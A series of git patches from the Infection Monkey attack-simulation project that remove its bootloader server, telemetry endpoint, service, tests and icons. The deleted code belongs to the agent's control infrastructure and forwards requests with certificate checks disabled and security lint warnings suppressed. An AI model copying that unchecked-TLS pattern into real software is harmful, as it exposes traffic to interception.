Bootloader server --- monkey/monkey_island/cc/server_setup.py | 14 ----- .../cc/server_utils/bootloader_server.py | 52 ------------------- 2 files changed, 66 deletions(-) delete mode 100644 monkey/monkey_island/cc/server_utils/bootloader_server.py diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index a99be1a40..98f29de10 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -3,7 +3,6 @@ import json import logging import sys from pathlib import Path -from threading import Thread import gevent.hub from gevent.pywsgi import WSGIServer @@ -22,7 +21,6 @@ from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402 from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 -from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, @@ -137,8 +135,6 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) logger.warning("Setup only flag passed. Exiting.") return - bootloader_server_thread = _start_bootloader_server() - logger.info( f"Using certificate path: {config_options.crt_path}, and key path: " f"{config_options.key_path}." @@ -155,16 +151,6 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) _log_init_info() http_server.serve_forever() - bootloader_server_thread.join() - - -def _start_bootloader_server() -> Thread: - bootloader_server_thread = Thread(target=BootloaderHttpServer().serve_forever, daemon=True) - - bootloader_server_thread.start() - - return bootloader_server_thread - def _log_init_info(): MonkeyDownload.log_executable_hashes() diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py deleted file mode 100644 index fa00fbd24..000000000 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ /dev/null @@ -1,52 +0,0 @@ -import logging -from http.server import BaseHTTPRequestHandler, HTTPServer -from socketserver import ThreadingMixIn -from urllib import parse - -import requests -import urllib3 - -from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT -from monkey_island.cc.server_utils.consts import ISLAND_PORT - -# Disable "unverified certificate" warnings when sending requests to island -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # noqa: DUO131 -logger = logging.getLogger(__name__) - - -class BootloaderHttpServer(ThreadingMixIn, HTTPServer): - def __init__(self): - server_address = ("", 5001) - super().__init__(server_address, BootloaderHTTPRequestHandler) - - -class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): - def do_POST(self): - content_length = int(self.headers["Content-Length"]) - post_data = self.rfile.read(content_length).decode() - island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( - self.request.getsockname()[0] - ) - island_server_path = parse.urljoin(island_server_path, self.path[1:]) - # The island server doesn't always have a correct SSL cert installed - # (By default it comes with a self signed one), - # that's why we're not verifying the cert in this request. - r = requests.post( # noqa: DUO123 - url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT - ) - - try: - if r.status_code != 200: - self.send_response(404) - else: - self.send_response(200) - self.end_headers() - self.wfile.write(r.content) - except Exception as e: - logger.error("Failed to respond to bootloader: {}".format(e)) - finally: - self.connection.close() - - @staticmethod - def get_bootloader_resource_url(server_ip): - return "https://" + server_ip + ":" + str(ISLAND_PORT) + "/api/bootloader/" From add449c5f4e911634391135763a6bec5c7249454 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 31 Jan 2022 18:07:39 +0100 Subject: [PATCH 0279/1110] Island, UT: Remove bootloader service --- .../monkey_island/cc/services/bootloader.py | 71 ------------------- .../cc/services/utils/bootloader_config.py | 11 --- .../cc/services/test_bootloader_service.py | 24 ------- 3 files changed, 106 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/bootloader.py delete mode 100644 monkey/monkey_island/cc/services/utils/bootloader_config.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py deleted file mode 100644 index 05bdac8f1..000000000 --- a/monkey/monkey_island/cc/services/bootloader.py +++ /dev/null @@ -1,71 +0,0 @@ -from typing import Dict, List - -from bson import ObjectId - -from monkey_island.cc.database import mongo -from monkey_island.cc.services.node import NodeCreationException, NodeService -from monkey_island.cc.services.utils.bootloader_config import ( - MIN_GLIBC_VERSION, - SUPPORTED_WINDOWS_VERSIONS, -) -from monkey_island.cc.services.utils.node_states import NodeStates - - -class BootloaderService: - @staticmethod - def parse_bootloader_telem(telem: Dict) -> bool: - telem["ips"] = BootloaderService.remove_local_ips(telem["ips"]) - if telem["os_version"] == "": - telem["os_version"] = "Unknown OS" - - telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) - - will_monkey_run = BootloaderService.is_os_compatible(telem) - try: - node = NodeService.get_or_create_node_from_bootloader_telem(telem, will_monkey_run) - except NodeCreationException: - # Didn't find the node, but allow monkey to run anyways - return True - - node_group = BootloaderService.get_next_node_state(node, telem["system"], will_monkey_run) - if "group" not in node or node["group"] != node_group.value: - NodeService.set_node_group(node["_id"], node_group) - return will_monkey_run - - @staticmethod - def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates: - group_keywords = [system, "monkey"] - if "group" in node and node["group"] == "island": - group_keywords.extend(["island", "starting"]) - else: - group_keywords.append("starting") if will_monkey_run else group_keywords.append("old") - node_group = NodeStates.get_by_keywords(group_keywords) - return node_group - - @staticmethod - def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId: - ip_hash = hex(hash(str(bootloader_telem["ips"])))[3:15] - hostname_hash = hex(hash(bootloader_telem["hostname"]))[3:15] - return ObjectId(ip_hash + hostname_hash) - - @staticmethod - def is_os_compatible(bootloader_data) -> bool: - if bootloader_data["system"] == "windows": - return BootloaderService.is_windows_version_supported(bootloader_data["os_version"]) - elif bootloader_data["system"] == "linux": - return BootloaderService.is_glibc_supported(bootloader_data["glibc_version"]) - - @staticmethod - def is_windows_version_supported(windows_version) -> bool: - return SUPPORTED_WINDOWS_VERSIONS.get(windows_version, True) - - @staticmethod - def is_glibc_supported(glibc_version_string) -> bool: - glibc_version_string = glibc_version_string.lower() - glibc_version = glibc_version_string.split(" ")[-1] - return glibc_version >= str(MIN_GLIBC_VERSION) and "eglibc" not in glibc_version_string - - @staticmethod - def remove_local_ips(ip_list) -> List[str]: - return [i for i in ip_list if not i.startswith("127")] diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py deleted file mode 100644 index f1eaf9368..000000000 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ /dev/null @@ -1,11 +0,0 @@ -MIN_GLIBC_VERSION = 2.14 - -SUPPORTED_WINDOWS_VERSIONS = { - "xp_or_lower": False, - "vista": False, - "vista_sp1": False, - "vista_sp2": True, - "windows7": True, - "windows7_sp1": True, - "windows8_or_greater": True, -} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py deleted file mode 100644 index 25869fd29..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py +++ /dev/null @@ -1,24 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.services.bootloader import BootloaderService - -MIN_GLIBC_VERSION = 2.14 - - -class TestBootloaderService(TestCase): - def test_is_glibc_supported(self): - str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" - str2 = "ldd (GNU libc) 2.12" - str3 = "ldd (GNU libc) 2.28" - str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" - self.assertTrue( - not BootloaderService.is_glibc_supported(str1) - and not BootloaderService.is_glibc_supported(str2) - and BootloaderService.is_glibc_supported(str3) - and BootloaderService.is_glibc_supported(str4) - ) - - def test_remove_local_ips(self): - ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] - ips = BootloaderService.remove_local_ips(ips) - self.assertEqual(["192.168.56.1"], ips) From b5c51bedc122b22dc1b2e8fc2d9de56e4a056abe Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 31 Jan 2022 18:21:04 +0100 Subject: [PATCH 0280/1110] Island, UT: Remove Bootloader endpoint --- monkey/monkey_island/cc/app.py | 2 - .../monkey_island/cc/resources/bootloader.py | 41 ------------ monkey/monkey_island/cc/services/node.py | 56 +--------------- .../cc/resources/test_bootloader.py | 66 ------------------- vulture_allowlist.py | 1 - 5 files changed, 1 insertion(+), 165 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/bootloader.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e90091168..ead2ec327 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -18,7 +18,6 @@ from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyB from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( TelemetryBlackboxEndpoint, ) -from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.configuration_export import ConfigurationExport from monkey_island.cc.resources.configuration_import import ConfigurationImport @@ -127,7 +126,6 @@ def init_api_resources(api): "/api/monkey/", "/api/monkey//", ) - api.add_resource(Bootloader, "/api/bootloader/") api.add_resource(LocalRun, "/api/local-monkey") api.add_resource(ClientRun, "/api/client-monkey") api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/") diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py deleted file mode 100644 index b228b9eea..000000000 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ /dev/null @@ -1,41 +0,0 @@ -import json -from typing import Dict - -import flask_restful -from flask import make_response, request - -from monkey_island.cc.services.bootloader import BootloaderService - - -class Bootloader(flask_restful.Resource): - - # Used by monkey. can't secure. - def post(self, os): - if os == "linux": - data = Bootloader._get_request_contents_linux(request.data) - elif os == "windows": - data = Bootloader._get_request_contents_windows(request.data) - else: - return make_response({"status": "OS_NOT_FOUND"}, 404) - - result = BootloaderService.parse_bootloader_telem(data) - - if result: - return make_response({"status": "RUN"}, 200) - else: - return make_response({"status": "ABORT"}, 200) - - @staticmethod - def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: - parsed_data = json.loads( - request_data.decode() - .replace('"\n', "") - .replace("\n", "") - .replace('NAME="', "") - .replace('":",', '":"",') - ) - return parsed_data - - @staticmethod - def _get_request_contents_windows(request_data: bytes) -> Dict[str, str]: - return json.loads(request_data.decode("utf-16", "ignore")) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index ec787a39d..79c3408bf 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -1,6 +1,5 @@ import socket from datetime import datetime, timedelta -from typing import Dict from bson import ObjectId @@ -10,7 +9,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses +from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.services.utils.node_states import NodeStates @@ -209,59 +208,6 @@ class NodeService: ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) - @staticmethod - def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): - new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses": bootloader_telem["ips"], - "domain_name": bootloader_telem["hostname"], - "will_monkey_run": will_monkey_run, - "exploited": False, - "creds": [], - "os": { - "type": bootloader_telem["system"], - "version": bootloader_telem["os_version"], - }, - } - ) - return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) - - @staticmethod - def get_or_create_node_from_bootloader_telem( - bootloader_telem: Dict, will_monkey_run: bool - ) -> Dict: - if is_local_ips(bootloader_telem["ips"]): - raise NodeCreationException("Bootloader ran on island, no need to create new node.") - - new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) - # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) - if monkey_node: - # Don't create new node, monkey node is already present - return monkey_node - - if new_node is None: - new_node = NodeService.create_node_from_bootloader_telem( - bootloader_telem, will_monkey_run - ) - if bootloader_telem["tunnel"]: - dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) - else: - dst_node = NodeService.get_monkey_island_node() - src_label = NodeService.get_label_for_endpoint(new_node["_id"]) - dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) - edge = EdgeService.get_or_create_edge( - src_node_id=new_node["_id"], - dst_node_id=dst_node["id"], - src_label=src_label, - dst_label=dst_label, - ) - edge.tunnel = bool(bootloader_telem["tunnel"]) - edge.ip_address = bootloader_telem["ips"][0] - edge.group = NodeStates.get_by_keywords(["island"]).value - edge.save() - return new_node - @staticmethod def get_or_create_node(ip_address, domain_name=""): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py deleted file mode 100644 index d8fd05451..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py +++ /dev/null @@ -1,66 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.resources.bootloader import Bootloader - - -class TestBootloader(TestCase): - def test_get_request_contents_linux(self): - data_without_tunnel = ( - b'{"system":"linux", ' - b'"os_version":"NAME="Ubuntu"\n", ' - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' - b'"hostname":"test-TEST", ' - b'"tunnel":false, ' - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - ) - data_with_tunnel = ( - b'{"system":"linux", ' - b'"os_version":"NAME="Ubuntu"\n", ' - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' - b'"hostname":"test-TEST", ' - b'"tunnel":"192.168.56.1:5002", ' - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - ) - - result1 = Bootloader._get_request_contents_linux(data_without_tunnel) - self.assertTrue(result1["system"] == "linux") - self.assertTrue(result1["os_version"] == "Ubuntu") - self.assertTrue(result1["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result1["hostname"] == "test-TEST") - self.assertFalse(result1["tunnel"]) - self.assertTrue(result1["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - result2 = Bootloader._get_request_contents_linux(data_with_tunnel) - self.assertTrue(result2["system"] == "linux") - self.assertTrue(result2["os_version"] == "Ubuntu") - self.assertTrue(result2["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result2["hostname"] == "test-TEST") - self.assertTrue(result2["tunnel"] == "192.168.56.1:5002") - self.assertTrue(result2["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - def test_get_request_contents_windows(self): - windows_data = ( - b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' - b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' - b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' - b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 ' - b'\x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' - b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006' - b'\x00B\x00"' - b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e' - b"\x00,\x00 " - b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' - b'\x006\x00.\x001\x00"\x00,\x00 ' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' - b'\x00.\x001\x00"\x00,\x00 ' - b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' - b'\x001\x00"\x00]\x00}\x00' - ) - - result = Bootloader._get_request_contents_windows(windows_data) - self.assertTrue(result["system"] == "windows") - self.assertTrue(result["os_version"] == "windows8_or_greater") - self.assertTrue(result["hostname"] == "DESKTOP-PJHU36B") - self.assertFalse(result["tunnel"]) - self.assertTrue(result["ips"] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2f7598379..0bb3ff44f 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -68,7 +68,6 @@ VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_proc DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) ExploiterDescriptorEnum.LOG4SHELL -_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53) From db965e14f84fa3ad68419586b41d9102c79454e8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 1 Feb 2022 13:57:54 +0530 Subject: [PATCH 0281/1110] Agent: Remove do_POST in HTTPConnectProxyHandler As per https://github.com/guardicore/monkey/pull/527, this code was added for the bootloader. Now that we're removing the bootloader, this is no longer needed. --- monkey/infection_monkey/transport/http.py | 30 ----------------------- 1 file changed, 30 deletions(-) diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 910d79bf4..f8ca906b0 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -7,11 +7,7 @@ import urllib from logging import getLogger from urllib.parse import urlsplit -import requests - -import infection_monkey.control import infection_monkey.monkeyfs as monkeyfs -from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -114,32 +110,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection - def do_POST(self): - try: - content_length = int(self.headers["Content-Length"]) - post_data = self.rfile.read(content_length).decode() - logger.info("Received bootloader's request: {}".format(post_data)) - try: - dest_path = self.path - r = requests.post( # noqa: DUO123 - url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT, - ) - self.send_response(r.status_code) - except requests.exceptions.ConnectionError as e: - logger.error("Couldn't forward request to the island: {}".format(e)) - self.send_response(404) - except Exception as e: - logger.error("Failed to forward bootloader request: {}".format(e)) - finally: - self.end_headers() - self.wfile.write(r.content) - except Exception as e: - logger.error("Failed receiving bootloader telemetry: {}".format(e)) - def version_string(self): return "" From a7f821d20dc18b18f55c3644e9fb1c0a5c2704e7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 1 Feb 2022 14:02:54 +0530 Subject: [PATCH 0282/1110] Agent: Remove unneeded function `is_local_ips` since bootloader telem was removed --- monkey/monkey_island/cc/services/utils/network_utils.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index fc991a1c0..a37cd3250 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -1,10 +1,8 @@ import array -import collections import ipaddress import socket import struct import sys -from typing import List from netifaces import AF_INET, ifaddresses, interfaces from ring import lru @@ -53,11 +51,6 @@ else: return result -def is_local_ips(ips: List) -> bool: - filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith("169.254")] - return collections.Counter(ips) == collections.Counter(filtered_local_ips) - - # The local IP addresses list should not change often. Therefore, we can cache the result and # never call this function # more than once. This stopgap measure is here since this function is called a lot of times From a8956a18ff8f2665b3b8861416fcc4eb40e827b9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 1 Feb 2022 14:09:19 +0530 Subject: [PATCH 0283/1110] Island: Remove 'old' node states now that the bootloader is removed --- .../cc/services/utils/node_states.py | 2 -- .../cc/ui/src/images/nodes/monkey_linux_old.png | Bin 4295 -> 0 bytes .../ui/src/images/nodes/monkey_windows_old.png | Bin 3640 -> 0 bytes 3 files changed, 2 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_old.png diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index bf5f2211a..64baea56b 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -28,8 +28,6 @@ class NodeStates(Enum): MONKEY_WINDOWS_RUNNING = "monkey_windows_running" MONKEY_WINDOWS_STARTING = "monkey_windows_starting" MONKEY_LINUX_STARTING = "monkey_linux_starting" - MONKEY_WINDOWS_OLD = "monkey_windows_old" - MONKEY_LINUX_OLD = "monkey_linux_old" @staticmethod def get_by_keywords(keywords: List) -> NodeStates: diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_old.png deleted file mode 100644 index 1f6da00f2dbced4de34e88c42d203d2ec1bc9a00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4295 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 